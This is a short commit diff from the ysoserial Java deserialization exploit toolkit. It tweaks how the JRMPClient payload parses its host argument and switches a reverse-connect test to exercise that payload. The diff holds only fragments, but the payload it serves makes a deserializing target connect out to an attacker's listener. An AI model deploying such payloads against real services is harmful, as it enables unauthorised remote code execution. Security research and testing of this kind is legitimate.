try to fix jrmp client test

This commit is contained in:
Chris Frohoff
2022-06-05 23:09:08 -07:00
parent f4a6bcaf09
commit b8dd652273
2 changed files with 6 additions and 2 deletions
@@ -2,6 +2,8 @@ package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.URISyntaxException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
@@ -53,7 +55,9 @@ import ysoserial.payloads.util.PayloadRunner;
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
public Registry getObject ( String command ) throws Exception {
command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
String host;
int port;
@@ -60,6 +60,6 @@ public class JRMPReverseConnectTest implements CustomTest {
public static void main(String[] args) throws Exception {
// ObjectInputFilters.disableDcgFilter();
PayloadsTest.testPayload(Hibernate2.class);
PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
}
}